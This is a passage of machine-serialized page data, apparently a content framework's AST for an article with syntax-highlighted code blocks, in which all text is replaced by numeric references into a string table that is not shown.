{"style":120},[8153],{"type":26,"value":1936},{"type":21,"tag":85,"props":8155,"children":8156},{"style":169},[8157],{"type":26,"value":1941},{"type":21,"tag":85,"props":8159,"children":8160},{"style":120},[8161],{"type":26,"value":1946},{"type":21,"tag":85,"props":8163,"children":8164},{"style":114},[8165],{"type":26,"value":117},{"type":21,"tag":85,"props":8167,"children":8168},{"style":108},[8169],{"type":26,"value":1955},{"type":21,"tag":85,"props":8171,"children":8172},{"style":114},[8173],{"type":26,"value":1960},{"type":21,"tag":85,"props":8175,"children":8176},{"style":169},[8177],{"type":26,"value":1965},{"type":21,"tag":85,"props":8179,"children":8180},{"style":120},[8181],{"type":26,"value":1970},{"type":21,"tag":85,"props":8183,"children":8184},{"style":114},[8185],{"type":26,"value":777},{"type":21,"tag":85,"props":8187,"children":8188},{"class":87,"line":160},[8189,8193,8197,8201,8205,8209,8213,8217,8221,8225,8229],{"type":21,"tag":85,"props":8190,"children":8191},{"style":102},[8192],{"type":26,"value":1931},{"type":21,"tag":85,"props":8194,"children":8195},{"style":120},[8196],{"type":26,"value":1986},{"type":21,"tag":85,"props":8198,"children":8199},{"style":169},[8200],{"type":26,"value":1941},{"type":21,"tag":85,"props":8202,"children":8203},{"style":114},[8204],{"type":26,"value":1995},{"type":21,"tag":85,"props":8206,"children":8207},{"style":169},[8208],{"type":26,"value":1087},{"type":21,"tag":85,"props":8210,"children":8211},{"style":120},[8212],{"type":26,"value":2004},{"type":21,"tag":85,"props":8214,"children":8215},{"style":114},[8216],{"type":26,"value":117},{"type":21,"tag":85,"props":8218,"children":8219},{"style":108},[8220],{"type":26,"value":2013},{"type":21,"tag":85,"props":8222,"children":8223},{"style":114},[8224],{"type":26,"value":256},{"type":21,"tag":85,"props":8226,"children":8227},{"style":108},[8228],{"type":26,"value":2022},{"type":21,"tag":85,"props":8230,"children":8231},{"style":114},[8232],{"type":26,"value":924},{"type":21,"tag":85,"props":8234,"children":8235},{"class":87,"line":185},[8236,8240,8244,8248,8252],{"type":21,"tag":85,"props":8237,"children":8238},{"style":169},[8239],{"type":26,"value":2034},{"type":21,"tag":85,"props":8241,"children":8242},{"style":102},[8243],{"type":26,"value":2039},{"type":21,"tag":85,"props":8245,"children":8246},{"style":120},[8247],{"type":26,"value":1936},{"type":21,"tag":85,"props":8249,"children":8250},{"style":169},[8251],{"type":26,"value":73},{"type":21,"tag":85,"props":8253,"children":8254},{"style":114},[8255],{"type":26,"value":2052},{"type":21,"tag":85,"props":8257,"children":8258},{"class":87,"line":501},[8259,8263],{"type":21,"tag":85,"props":8260,"children":8261},{"style":120},[8262],{"type":26,"value":2060},{"type":21,"tag":85,"props":8264,"children":8265},{"style":114},[8266],{"type":26,"value":182},{"type":21,"tag":85,"props":8268,"children":8269},{"class":87,"line":697},[8270,8274,8278,8282],{"type":21,"tag":85,"props":8271,"children":8272},{"style":114},[8273],{"type":26,"value":2072},{"type":21,"tag":85,"props":8275,"children":8276},{"style":169},[8277],{"type":26,"value":1087},{"type":21,"tag":85,"props":8279,"children":8280},{"style":1021},[8281],{"type":26,"value":2081},{"type":21,"tag":85,"props":8283,"children":8284},{"style":114},[8285],{"type":26,"value":2086},{"type":21,"tag":85,"props":8287,"children":8288},{"class":87,"line":706},[8289],{"type":21,"tag":85,"props":8290,"children":8291},{"style":114},[8292],{"type":26,"value":2094},{"type":21,"tag":85,"props":8294,"children":8295},{"class":87,"line":1100},[8296,8300],{"type":21,"tag":85,"props":8297,"children":8298},{"style":169},[8299],{"type":26,"value":2102},{"type":21,"tag":85,"props":8301,"children":8302},{"style":120},[8303],{"type":26,"value":2107},{"type":21,"tag":85,"props":8305,"children":8306},{"class":87,"line":1339},[8307],{"type":21,"tag":85,"props":8308,"children":8309},{"style":114},[8310],{"type":26,"value":507},{"type":21,"tag":22,"props":8312,"children":8313},{},[8314,8315,8319],{"type":26,"value":2119},{"type":21,"tag":39,"props":8316,"children":8317},{},[8318],{"type":26,"value":2124},{"type":26,"value":2126},{"type":21,"tag":22,"props":8321,"children":8322},{},[8323],{"type":26,"value":2131},{"type":21,"tag":841,"props":8325,"children":8326},{},[8327,8331],{"type":21,"tag":845,"props":8328,"children":8329},{},[8330],{"type":26,"value":2139},{"type":21,"tag":845,"props":8332,"children":8333},{},[8334],{"type":26,"value":2144},{"type":21,"tag":54,"props":8336,"children":8337},{"id":2147},[8338],{"type":26,"value":2150},{"type":21,"tag":22,"props":8340,"children":8341},{},[8342],{"type":26,"value":2155},{"type":21,"tag":22,"props":8344,"children":8345},{},[8346],{"type":26,"value":2160},{"type":21,"tag":22,"props":8348,"children":8349},{},[8350,8351,8355],{"type":26,"value":2165},{"type":21,"tag":39,"props":8352,"children":8353},{},[8354],{"type":26,"value":2170},{"type":26,"value":2172},{"type":21,"tag":22,"props":8357,"children":8358},{},[8359,8360,8365],{"type":26,"value":2177},{"type":21,"tag":335,"props":8361,"children":8363},{"href":2180,"rel":8362},[339],[8364],{"type":26,"value":2184},{"type":26,"value":2186},{"type":21,"tag":22,"props":8367,"children":8368},{},[8369],{"type":26,"value":2191},{"type":21,"tag":75,"props":8371,"children":8372},{"className":77,"code":2194,"language":79,"meta":7,"style":7},[8373],{"type":21,"tag":66,"props":8374,"children":8375},{"__ignoreMap":7},[8376,8431],{"type":21,"tag":85,"props":8377,"children":8378},{"class":87,"line":88},[8379,8383,8387,8391,8395,8399,8403,8407,8411,8415,8419,8423,8427],{"type":21,"tag":85,"props":8380,"children":8381},{"style":102},[8382],{"type":26,"value":2206},{"type":21,"tag":85,"props":8384,"children":8385},{"style":120},[8386],{"type":26,"value":2211},{"type":21,"tag":85,"props":8388,"children":8389},{"style":169},[8390],{"type":26,"value":1941},{"type":21,"tag":85,"props":8392,"children":8393},{"style":114},[8394],{"type":26,"value":2220},{"type":21,"tag":85,"props":8396,"children":8397},{"style":169},[8398],{"type":26,"value":1087},{"type":21,"tag":85,"props":8400,"children":8401},{"style":1021},[8402],{"type":26,"value":2229},{"type":21,"tag":85,"props":8404,"children":8405},{"style":114},[8406],{"type":26,"value":1439},{"type":21,"tag":85,"props":8408,"children":8409},{"style":169},[8410],{"type":26,"value":2238},{"type":21,"tag":85,"props":8412,"children":8413},{"style":120},[8414],{"type":26,"value":2243},{"type":21,"tag":85,"props":8416,"children":8417},{"style":114},[8418],{"type":26,"value":256},{"type":21,"tag":85,"props":8420,"children":8421},{"style":169},[8422],{"type":26,"value":2238},{"type":21,"tag":85,"props":8424,"children":8425},{"style":120},[8426],{"type":26,"value":2256},{"type":21,"tag":85,"props":8428,"children":8429},{"style":114},[8430],{"type":26,"value":777},{"type":21,"tag":85,"props":8432,"children":8433},{"class":87,"line":98},[8434,8438,8442,8446,8450,8454],{"type":21,"tag":85,"props":8435,"children":8436},{"style":1021},[8437],{"type":26,"value":2268},{"type":21,"tag":85,"props":8439,"children":8440},{"style":114},[8441],{"type":26,"value":1439},{"type":21,"tag":85,"props":8443,"children":8444},{"style":120},[8445],{"type":26,"value":2277},{"type":21,"tag":85,"props":8447,"children":8448},{"style":169},[8449],{"type":26,"value":2282},{"type":21,"tag":85,"props":8451,"children":8452},{"style":2285},[8453],{"type":26,"value":2288},{"type":21,"tag":85,"props":8455,"children":8456},{"style":114},[8457],{"type":26,"value":2293},{"type":21,"tag":22,"props":8459,"children":8460},{},[8461,8462,8466],{"type":26,"value":2298},{"type":21,"tag":39,"props":8463,"children":8464},{},[8465],{"type":26,"value":2303},{"type":26,"value":2305},{"type":21,"tag":22,"props":8468,"children":8469},{},[8470,8471,8476],{"type":26,"value":2310},{"type":21,"tag":66,"props":8472,"children":8474},{"className":8473},[],[8475],{"type":26,"value":2316},{"type":26,"value":2318},{"type":21,"tag":75,"props":8478,"children":8479},{"className":77,"code":2321,"language":79,"meta":7,"style":7},[8480],{"type":21,"tag":66,"props":8481,"children":8482},{"__ignoreMap":7},[8483,8490,8573,8612,8631,8638,8653,8676,8699,8722],{"type":21,"tag":85,"props":8484,"children":8485},{"class":87,"line":88},[8486],{"type":21,"tag":85,"props":8487,"children":8488},{"style":92},[8489],{"type":26,"value":2333},{"type":21,"tag":85,"props":8491,"children":8492},{"class":87,"line":98},[8493,8497,8501,8505,8509,8513,8517,8521,8525,8529,8533,8537,8541,8545,8549,8553,8557,8561,8565,8569],{"type":21,"tag":85,"props":8494,"children":8495},{"style":120},[8496],{"type":26,"value":905},{"type":21,"tag":85,"props":8498,"children":8499},{"style":1021},[8500],{"type":26,"value":2345},{"type":21,"tag":85,"props":8502,"children":8503},{"style":114},[8504],{"type":26,"value":1439},{"type":21,"tag":85,"props":8506,"children":8507},{"style":120},[8508],{"type":26,"value":2354},{"type":21,"tag":85,"props":8510,"children":8511},{"style":169},[8512],{"type":26,"value":172},{"type":21,"tag":85,"props":8514,"children":8515},{"style":108},[8516],{"type":26,"value":177},{"type":21,"tag":85,"props":8518,"children":8519},{"style":114},[8520],{"type":26,"value":256},{"type":21,"tag":85,"props":8522,"children":8523},{"style":120},[8524],{"type":26,"value":2371},{"type":21,"tag":85,"props":8526,"children":8527},{"style":169},[8528],{"type":26,"value":172},{"type":21,"tag":85,"props":8530,"children":8531},{"style":108},[8532],{"type":26,"value":177},{"type":21,"tag":85,"props":8534,"children":8535},{"style":114},[8536],{"type":26,"value":1900},{"type":21,"tag":85,"props":8538,"children":8539},{"style":169},[8540],{"type":26,"value":172},{"type":21,"tag":85,"props":8542,"children":8543},{"style":114},[8544],{"type":26,"value":717},{"type":21,"tag":85,"props":8546,"children":8547},{"style":108},[8548],{"type":26,"value":2396},{"type":21,"tag":85,"props":8550,"children":8551},{"style":114},[8552],{"type":26,"value":256},{"type":21,"tag":85,"props":8554,"children":8555},{"style":108},[8556],{"type":26,"value":2396},{"type":21,"tag":85,"props":8558,"children":8559},{"style":114},[8560],{"type":26,"value":736},{"type":21,"tag":85,"props":8562,"children":8563},{"style":120},[8564],{"type":26,"value":669},{"type":21,"tag":85,"props":8566,"children":8567},{"style":108},[8568],{"type":26,"value":2417},{"type":21,"tag":85,"props":8570,"children":8571},{"style":114},[8572],{"type":26,"value":148},{"type":21,"tag":85,"props":8574,"children":8575},{"class":87,"line":151},[8576,8580,8584,8588,8592,8596,8600,8604,8608],{"type":21,"tag":85,"props":8577,"children":8578},{"style":102},[8579],{"type":26,"value":2429},{"type":21,"tag":85,"props":8581,"children":8582},{"style":120},[8583],{"type":26,"value":2434},{"type":21,"tag":85,"props":8585,"children":8586},{"style":169},[8587],{"type":26,"value":1941},{"type":21,"tag":85,"props":8589,"children":8590},{"style":1021},[8591],{"type":26,"value":2443},{"type":21,"tag":85,"props":8593,"children":8594},{"style":114},[8595],{"type":26,"value":1439},{"type":21,"tag":85,"props":8597,"children":8598},{"style":120},[8599],{"type":26,"value":2354},{"type":21,"tag":85,"props":8601,"children":8602},{"style":114},[8603],{"type":26,"value":256},{"type":21,"tag":85,"props":8605,"children":8606},{"style":120},[8607],{"type":26,"value":2371},{"type":21,"tag":85,"props":8609,"children":8610},{"style":114},[8611],{"type":26,"value":777},{"type":21,"tag":85,"props":8613,"children":8614},{"class":87,"line":160},[8615,8619,8623,8627],{"type":21,"tag":85,"props":8616,"children":8617},{"style":1021},[8618],{"type":26,"value":2471},{"type":21,"tag":85,"props":8620,"children":8621},{"style":114},[8622],{"type":26,"value":1439},{"type":21,"tag":85,"props":8624,"children":8625},{"style":120},[8626],{"type":26,"value":2480},{"type":21,"tag":85,"props":8628,"children":8629},{"style":114},[8630],{"type":26,"value":2485},{"type":21,"tag":85,"props":8632,"children":8633},{"class":87,"line":185},[8634],{"type":21,"tag":85,"props":8635,"children":8636},{"style":114},[8637],{"type":26,"value":191},{"type":21,"tag":85,"props":8639,"children":8640},{"class":87,"line":501},[8641,8645,8649],{"type":21,"tag":85,"props":8642,"children":8643},{"style":120},[8644],{"type":26,"value":2500},{"type":21,"tag":85,"props":8646,"children":8647},{"style":120},[8648],{"type":26,"value":2345},{"type":21,"tag":85,"props":8650,"children":8651},{"style":114},[8652],{"type":26,"value":148},{"type":21,"tag":85,"props":8654,"children":8655},{"class":87,"line":697},[8656,8660,8664,8668,8672],{"type":21,"tag":85,"props":8657,"children":8658},{"style":120},[8659],{"type":26,"value":2516},{"type":21,"tag":85,"props":8661,"children":8662},{"style":120},[8663],{"type":26,"value":2521},{"type":21,"tag":85,"props":8665,"children":8666},{"style":169},[8667],{"type":26,"value":741},{"type":21,"tag":85,"props":8669,"children":8670},{"style":102},[8671],{"type":26,"value":2530},{"type":21,"tag":85,"props":8673,"children":8674},{"style":114},[8675],{"type":26,"value":2535},{"type":21,"tag":85,"props":8677,"children":8678},{"class":87,"line":706},[8679,8683,8687,8691,8695],{"type":21,"tag":85,"props":8680,"children":8681},{"style":120},[8682],{"type":26,"value":2543},{"type":21,"tag":85,"props":8684,"children":8685},{"style":120},[8686],{"type":26,"value":2548},{"type":21,"tag":85,"props":8688,"children":8689},{"style":169},[8690],{"type":26,"value":2553},{"type":21,"tag":85,"props":8692,"children":8693},{"style":120},[8694],{"type":26,"value":2558},{"type":21,"tag":85,"props":8696,"children":8697},{"style":114},[8698],{"type":26,"value":2535},{"type":21,"tag":85,"props":8700,"children":8701},{"class":87,"line":1100},[8702,8706,8710,8714,8718],{"type":21,"tag":85,"props":8703,"children":8704},{"style":120},[8705],{"type":26,"value":2543},{"type":21,"tag":85,"props":8707,"children":8708},{"style":120},[8709],{"type":26,"value":2574},{"type":21,"tag":85,"props":8711,"children":8712},{"style":169},[8713],{"type":26,"value":2553},{"type":21,"tag":85,"props":8715,"children":8716},{"style":120},[8717],{"type":26,"value":2583},{"type":21,"tag":85,"props":8719,"children":8720},{"style":114},[8721],{"type":26,"value":2535},{"type":21,"tag":85,"props":8723,"children":8724},{"class":87,"line":1339},[8725],{"type":21,"tag":85,"props":8726,"children":8727},{"style":114},[8728],{"type":26,"value":191},{"type":21,"tag":22,"props":8730,"children":8731},{},[8732],{"type":26,"value":2599},{"type":21,"tag":22,"props":8734,"children":8735},{},[8736,8737,8741],{"type":26,"value":2604},{"type":21,"tag":39,"props":8738,"children":8739},{},[8740],{"type":26,"value":2609},{"type":26,"value":2611},{"type":21,"tag":22,"props":8743,"children":8744},{},[8745],{"type":26,"value":2616},{"type":21,"tag":75,"props":8747,"children":8748},{"className":77,"code":2619,"language":79,"meta":7,"style":7},[8749],{"type":21,"tag":66,"props":8750,"children":8751},{"__ignoreMap":7},[8752,8767,8786],{"type":21,"tag":85,"props":8753,"children":8754},{"class":87,"line":88},[8755,8759,8763],{"type":21,"tag":85,"props":8756,"children":8757},{"style":120},[8758],{"type":26,"value":2631},{"type":21,"tag":85,"props":8760,"children":8761},{"style":108},[8762],{"type":26,"value":2636},{"type":21,"tag":85,"props":8764,"children":8765},{"style":114},[8766],{"type":26,"value":148},{"type":21,"tag":85,"props":8768,"children":8769},{"class":87,"line":98},[8770,8774,8778,8782],{"type":21,"tag":85,"props":8771,"children":8772},{"style":120},[8773],{"type":26,"value":2648},{"type":21,"tag":85,"props":8775,"children":8776},{"style":120},[8777],{"type":26,"value":2653},{"type":21,"tag":85,"props":8779,"children":8780},{"style":169},[8781],{"type":26,"value":2658},{"type":21,"tag":85,"props":8783,"children":8784},{"style":114},[8785],{"type":26,"value":2663},{"type":21,"tag":85,"props":8787,"children":8788},{"class":87,"line":151},[8789],{"type":21,"tag":85,"props":8790,"children":8791},{"style":114},[8792],{"type":26,"value":2671},{"type":21,"tag":22,"props":8794,"children":8795},{},[8796,8797,8802,8803,8808],{"type":26,"value":2676},{"type":21,"tag":66,"props":8798,"children":8800},{"className":8799},[],[8801],{"type":26,"value":2682},{"type":26,"value":2684},{"type":21,"tag":66,"props":8804,"children":8806},{"className":8805},[],[8807],{"type":26,"value":2690},{"type":26,"value":73},{"type":21,"tag":22,"props":8810,"children":8811},{},[8812],{"type":26,"value":2696},{"type":21,"tag":75,"props":8814,"children":8815},{"className":77,"code":2699,"language":79,"meta":7,"style":7},[8816],{"type":21,"tag":66,"props":8817,"children":8818},{"__ignoreMap":7},[8819,8878,8917,8940,8983,8994,9005,9040,9063,9146,9153,9176,9183,9202,9221,9312,9319,9346,9353,9364,9387,9422,9429,9436,9443,9458,9473,9488,9531,9634],{"type":21,"tag":85,"props":8820,"children":8821},{"class":87,"line":88},[8822,8826,8830,8834,8838,8842,8846,8850,8854,8858,8862,8866,8870,8874],{"type":21,"tag":85,"props":8823,"children":8824},{"style":120},[8825],{"type":26,"value":905},{"type":21,"tag":85,"props":8827,"children":8828},{"style":1021},[8829],{"type":26,"value":2715},{"type":21,"tag":85,"props":8831,"children":8832},{"style":114},[8833],{"type":26,"value":1439},{"type":21,"tag":85,"props":8835,"children":8836},{"style":120},[8837],{"type":26,"value":2724},{"type":21,"tag":85,"props":8839,"children":8840},{"style":169},[8841],{"type":26,"value":172},{"type":21,"tag":85,"props":8843,"children":8844},{"style":120},[8845],{"type":26,"value":2733},{"type":21,"tag":85,"props":8847,"children":8848},{"style":114},[8849],{"type":26,"value":117},{"type":21,"tag":85,"props":8851,"children":8852},{"style":108},[8853],{"type":26,"value":2396},{"type":21,"tag":85,"props":8855,"children":8856},{"style":114},[8857],{"type":26,"value":2746},{"type":21,"tag":85,"props":8859,"children":8860},{"style":169},[8861],{"type":26,"value":172},{"type":21,"tag":85,"props":8863,"children":8864},{"style":120},[8865],{"type":26,"value":2733},{"type":21,"tag":85,"props":8867,"children":8868},{"style":114},[8869],{"type":26,"value":117},{"type":21,"tag":85,"props":8871,"children":8872},{"style":108},[8873],{"type":26,"value":2763},{"type":21,"tag":85,"props":8875,"children":8876},{"style":114},[8877],{"type":26,"value":1627},{"type":21,"tag":85,"props":8879,"children":8880},{"class":87,"line":98},[8881,8885,8889,8893,8897,8901,8905,8909,8913],{"type":21,"tag":85,"props":8882,"children":8883},{"style":102},[8884],{"type":26,"value":2429},{"type":21,"tag":85,"props":8886,"children":8887},{"style":120},[8888],{"type":26,"value":2779},{"type":21,"tag":85,"props":8890,"children":8891},{"style":169},[8892],{"type":26,"value":1941},{"type":21,"tag":85,"props":8894,"children":8895},{"style":114},[8896],{"type":26,"value":2733},{"type":21,"tag":85,"props":8898,"children":8899},{"style":169},[8900],{"type":26,"value":1087},{"type":21,"tag":85,"props":8902,"children":8903},{"style":120},[8904],{"type":26,"value":2796},{"type":21,"tag":85,"props":8906,"children":8907},{"style":114},[8908],{"type":26,"value":117},{"type":21,"tag":85,"props":8910,"children":8911},{"style":108},[8912],{"type":26,"value":2763},{"type":21,"tag":85,"props":8914,"children":8915},{"style":114},[8916],{"type":26,"value":2809},{"type":21,"tag":85,"props":8918,"children":8919},{"class":87,"line":151},[8920,8924,8928,8932,8936],{"type":21,"tag":85,"props":8921,"children":8922},{"style":102},[8923],{"type":26,"value":2429},{"type":21,"tag":85,"props":8925,"children":8926},{"style":120},[8927],{"type":26,"value":2821},{"type":21,"tag":85,"props":8929,"children":8930},{"style":169},[8931],{"type":26,"value":1941},{"type":21,"tag":85,"props":8933,"children":8934},{"style":2285},[8935],{"type":26,"value":2830},{"type":21,"tag":85,"props":8937,"children":8938},{"style":114},[8939],{"type":26,"value":2535},{"type":21,"tag":85,"props":8941,"children":8942},{"class":87,"line":160},[8943,8947,8951,8955,8959,8963,8967,8971,8975,8979],{"type":21,"tag":85,"props":8944,"children":8945},{"style":102},[8946],{"type":26,"value":2429},{"type":21,"tag":85,"props":8948,"children":8949},{"style":120},[8950],{"type":26,"value":2846},{"type":21,"tag":85,"props":8952,"children":8953},{"style":169},[8954],{"type":26,"value":1941},{"type":21,"tag":85,"props":8956,"children":8957},{"style":114},[8958],{"type":26,"value":2733},{"type":21,"tag":85,"props":8960,"children":8961},{"style":169},[8962],{"type":26,"value":1087},{"type":21,"tag":85,"props":8964,"children":8965},{"style":1021},[8966],{"type":26,"value":2863},{"type":21,"tag":85,"props":8968,"children":8969},{"style":114},[8970],{"type":26,"value":1439},{"type":21,"tag":85,"props":8972,"children":8973},{"style":169},[8974],{"type":26,"value":2238},{"type":21,"tag":85,"props":8976,"children":8977},{"style":120},[8978],{"type":26,"value":2724},{"type":21,"tag":85,"props":8980,"children":8981},{"style":114},[8982],{"type":26,"value":777},{"type":21,"tag":85,"props":8984,"children":8985},{"class":87,"line":185},[8986,8990],{"type":21,"tag":85,"props":8987,"children":8988},{"style":2885},[8989],{"type":26,"value":2888},{"type":21,"tag":85,"props":8991,"children":8992},{"style":114},[8993],{"type":26,"value":2893},{"type":21,"tag":85,"props":8995,"children":8996},{"class":87,"line":501},[8997,9001],{"type":21,"tag":85,"props":8998,"children":8999},{"style":120},[9000],{"type":26,"value":2901},{"type":21,"tag":85,"props":9002,"children":9003},{"style":114},[9004],{"type":26,"value":148},{"type":21,"tag":85,"props":9006,"children":9007},{"class":87,"line":697},[9008,9012,9016,9020,9024,9028,9032,9036],{"type":21,"tag":85,"props":9009,"children":9010},{"style":120},[9011],{"type":26,"value":2913},{"type":21,"tag":85,"props":9013,"children":9014},{"style":1021},[9015],{"type":26,"value":2918},{"type":21,"tag":85,"props":9017,"children":9018},{"style":114},[9019],{"type":26,"value":1439},{"type":21,"tag":85,"props":9021,"children":9022},{"style":120},[9023],{"type":26,"value":2927},{"type":21,"tag":85,"props":9025,"children":9026},{"style":114},[9027],{"type":26,"value":736},{"type":21,"tag":85,"props":9029,"children":9030},{"style":169},[9031],{"type":26,"value":2936},{"type":21,"tag":85,"props":9033,"children":9034},{"style":120},[9035],{"type":26,"value":2821},{"type":21,"tag":85,"props":9037,"children":9038},{"style":114},[9039],{"type":26,"value":2535},{"type":21,"tag":85,"props":9041,"children":9042},{"class":87,"line":706},[9043,9047,9051,9055,9059],{"type":21,"tag":85,"props":9044,"children":9045},{"style":120},[9046],{"type":26,"value":2913},{"type":21,"tag":85,"props":9048,"children":9049},{"style":120},[9050],{"type":26,"value":2821},{"type":21,"tag":85,"props":9052,"children":9053},{"style":169},[9054],{"type":26,"value":2553},{"type":21,"tag":85,"props":9056,"children":9057},{"style":120},[9058],{"type":26,"value":2846},{"type":21,"tag":85,"props":9060,"children":9061},{"style":114},[9062],{"type":26,"value":2535},{"type":21,"tag":85,"props":9064,"children":9065},{"class":87,"line":1100},[9066,9070,9074,9078,9082,9086,9090,9094,9098,9102,9106,9110,9114,9118,9122,9126,9130,9134,9138,9142],{"type":21,"tag":85,"props":9067,"children":9068},{"style":120},[9069],{"type":26,"value":2913},{"type":21,"tag":85,"props":9071,"children":9072},{"style":120},[9073],{"type":26,"value":2979},{"type":21,"tag":85,"props":9075,"children":9076},{"style":120},[9077],{"type":26,"value":2984},{"type":21,"tag":85,"props":9079,"children":9080},{"style":102},[9081],{"type":26,"value":2989},{"type":21,"tag":85,"props":9083,"children":9084},{"style":2285},[9085],{"type":26,"value":2830},{"type":21,"tag":85,"props":9087,"children":9088},{"style":169},[9089],{"type":26,"value":2998},{"type":21,"tag":85,"props":9091,"children":9092},{"style":120},[9093],{"type":26,"value":3003},{"type":21,"tag":85,"props":9095,"children":9096},{"style":169},[9097],{"type":26,"value":172},{"type":21,"tag":85,"props":9099,"children":9100},{"style":120},[9101],{"type":26,"value":2779},{"type":21,"tag":85,"props":9103,"children":9104},{"style":114},[9105],{"type":26,"value":3016},{"type":21,"tag":85,"props":9107,"children":9108},{"style":120},[9109],{"type":26,"value":3021},{"type":21,"tag":85,"props":9111,"children":9112},{"style":114},[9113],{"type":26,"value":3026},{"type":21,"tag":85,"props":9115,"children":9116},{"style":169},[9117],{"type":26,"value":2936},{"type":21,"tag":85,"props":9119,"children":9120},{"style":120},[9121],{"type":26,"value":3035},{"type":21,"tag":85,"props":9123,"children":9124},{"style":114},[9125],{"type":26,"value":3016},{"type":21,"tag":85,"props":9127,"children":9128},{"style":120},[9129],{"type":26,"value":3021},{"type":21,"tag":85,"props":9131,"children":9132},{"style":114},[9133],{"type":26,"value":3026},{"type":21,"tag":85,"props":9135,"children":9136},{"style":169},[9137],{"type":26,"value":3052},{"type":21,"tag":85,"props":9139,"children":9140},{"style":120},[9141],{"type":26,"value":2846},{"type":21,"tag":85,"props":9143,"children":9144},{"style":114},[9145],{"type":26,"value":2535},{"type":21,"tag":85,"props":9147,"children":9148},{"class":87,"line":1339},[9149],{"type":21,"tag":85,"props":9150,"children":9151},{"style":114},[9152],{"type":26,"value":3068},{"type":21,"tag":85,"props":9154,"children":9155},{"class":87,"line":1348},[9156,9160,9164,9168,9172],{"type":21,"tag":85,"props":9157,"children":9158},{"style":114},[9159],{"type":26,"value":3076},{"type":21,"tag":85,"props":9161,"children":9162},{"style":120},[9163],{"type":26,"value":3003},{"type":21,"tag":85,"props":9165,"children":9166},{"style":169},[9167],{"type":26,"value":3085},{"type":21,"tag":85,"props":9169,"children":9170},{"style":120},[9171],{"type":26,"value":2846},{"type":21,"tag":85,"props":9173,"children":9174},{"style":114},[9175],{"type":26,"value":2485},{"type":21,"tag":85,"props":9177,"children":9178},{"class":87,"line":1386},[9179],{"type":21,"tag":85,"props":9180,"children":9181},{"style":114},[9182],{"type":26,"value":3101},{"type":21,"tag":85,"props":9184,"children":9185},{"class":87,"line":1394},[9186,9190,9194,9198],{"type":21,"tag":85,"props":9187,"children":9188},{"style":114},[9189],{"type":26,"value":3109},{"type":21,"tag":85,"props":9191,"children":9192},{"style":169},[9193],{"type":26,"value":1087},{"type":21,"tag":85,"props":9195,"children":9196},{"style":1021},[9197],{"type":26,"value":3118},{"type":21,"tag":85,"props":9199,"children":9200},{"style":114},[9201],{"type":26,"value":1029},{"type":21,"tag":85,"props":9203,"children":9204},{"class":87,"line":1402},[9205,9209,9213,9217],{"type":21,"tag":85,"props":9206,"children":9207},{"style":169},[9208],{"type":26,"value":3130},{"type":21,"tag":85,"props":9210,"children":9211},{"style":102},[9212],{"type":26,"value":2039},{"type":21,"tag":85,"props":9214,"children":9215},{"style":120},[9216],{"type":26,"value":2779},{"type":21,"tag":85,"props":9218,"children":9219},{"style":114},[9220],{"type":26,"value":182},{"type":21,"tag":85,"props":9222,"children":9223},{"class":87,"line":3145},[9224,9228,9232,9236,9240,9244,9248,9252,9256,9260,9264,9268,9272,9276,9280,9284,9288,9292,9296,9300,9304,9308],{"type":21,"tag":85,"props":9225,"children":9226},{"style":114},[9227],{"type":26,"value":3151},{"type":21,"tag":85,"props":9229,"children":9230},{"style":169},[9231],{"type":26,"value":3052},{"type":21,"tag":85,"props":9233,"children":9234},{"style":114},[9235],{"type":26,"value":3160},{"type":21,"tag":85,"props":9237,"children":9238},{"style":169},[9239],{"type":26,"value":1087},{"type":21,"tag":85,"props":9241,"children":9242},{"style":1021},[9243],{"type":26,"value":3169},{"type":21,"tag":85,"props":9245,"children":9246},{"style":114},[9247],{"type":26,"value":1439},{"type":21,"tag":85,"props":9249,"children":9250},{"style":169},[9251],{"type":26,"value":2238},{"type":21,"tag":85,"props":9253,"children":9254},{"style":120},[9255],{"type":26,"value":2724},{"type":21,"tag":85,"props":9257,"children":9258},{"style":114},[9259],{"type":26,"value":3186},{"type":21,"tag":85,"props":9261,"children":9262},{"style":120},[9263],{"type":26,"value":3003},{"type":21,"tag":85,"props":9265,"children":9266},{"style":102},[9267],{"type":26,"value":3195},{"type":21,"tag":85,"props":9269,"children":9270},{"style":108},[9271],{"type":26,"value":177},{"type":21,"tag":85,"props":9273,"children":9274},{"style":114},[9275],{"type":26,"value":3204},{"type":21,"tag":85,"props":9277,"children":9278},{"style":102},[9279],{"type":26,"value":3209},{"type":21,"tag":85,"props":9281,"children":9282},{"style":108},[9283],{"type":26,"value":3214},{"type":21,"tag":85,"props":9285,"children":9286},{"style":114},[9287],{"type":26,"value":736},{"type":21,"tag":85,"props":9289,"children":9290},{"style":169},[9291],{"type":26,"value":3052},{"type":21,"tag":85,"props":9293,"children":9294},{"style":114},[9295],{"type":26,"value":717},{"type":21,"tag":85,"props":9297,"children":9298},{"style":120},[9299],{"type":26,"value":3231},{"type":21,"tag":85,"props":9301,"children":9302},{"style":102},[9303],{"type":26,"value":3195},{"type":21,"tag":85,"props":9305,"children":9306},{"style":108},[9307],{"type":26,"value":3214},{"type":21,"tag":85,"props":9309,"children":9310},{"style":114},[9311],{"type":26,"value":2485},{"type":21,"tag":85,"props":9313,"children":9314},{"class":87,"line":3246},[9315],{"type":21,"tag":85,"props":9316,"children":9317},{"style":114},[9318],{"type":26,"value":3252},{"type":21,"tag":85,"props":9320,"children":9321},{"class":87,"line":3255},[9322,9326,9330,9334,9338,9342],{"type":21,"tag":85,"props":9323,"children":9324},{"style":120},[9325],{"type":26,"value":3261},{"type":21,"tag":85,"props":9327,"children":9328},{"style":169},[9329],{"type":26,"value":1941},{"type":21,"tag":85,"props":9331,"children":9332},{"style":120},[9333],{"type":26,"value":2821},{"type":21,"tag":85,"props":9335,"children":9336},{"style":169},[9337],{"type":26,"value":3274},{"type":21,"tag":85,"props":9339,"children":9340},{"style":2285},[9341],{"type":26,"value":3279},{"type":21,"tag":85,"props":9343,"children":9344},{"style":114},[9345],{"type":26,"value":2535},{"type":21,"tag":85,"props":9347,"children":9348},{"class":87,"line":3286},[9349],{"type":21,"tag":85,"props":9350,"children":9351},{"style":114},[9352],{"type":26,"value":3292},{"type":21,"tag":85,"props":9354,"children":9355},{"class":87,"line":3295},[9356,9360],{"type":21,"tag":85,"props":9357,"children":9358},{"style":120},[9359],{"type":26,"value":3301},{"type":21,"tag":85,"props":9361,"children":9362},{"style":114},[9363],{"type":26,"value":148},{"type":21,"tag":85,"props":9365,"children":9366},{"class":87,"line":3308},[9367,9371,9375,9379,9383],{"type":21,"tag":85,"props":9368,"children":9369},{"style":120},[9370],{"type":26,"value":3314},{"type":21,"tag":85,"props":9372,"children":9373},{"style":120},[9374],{"type":26,"value":2821},{"type":21,"t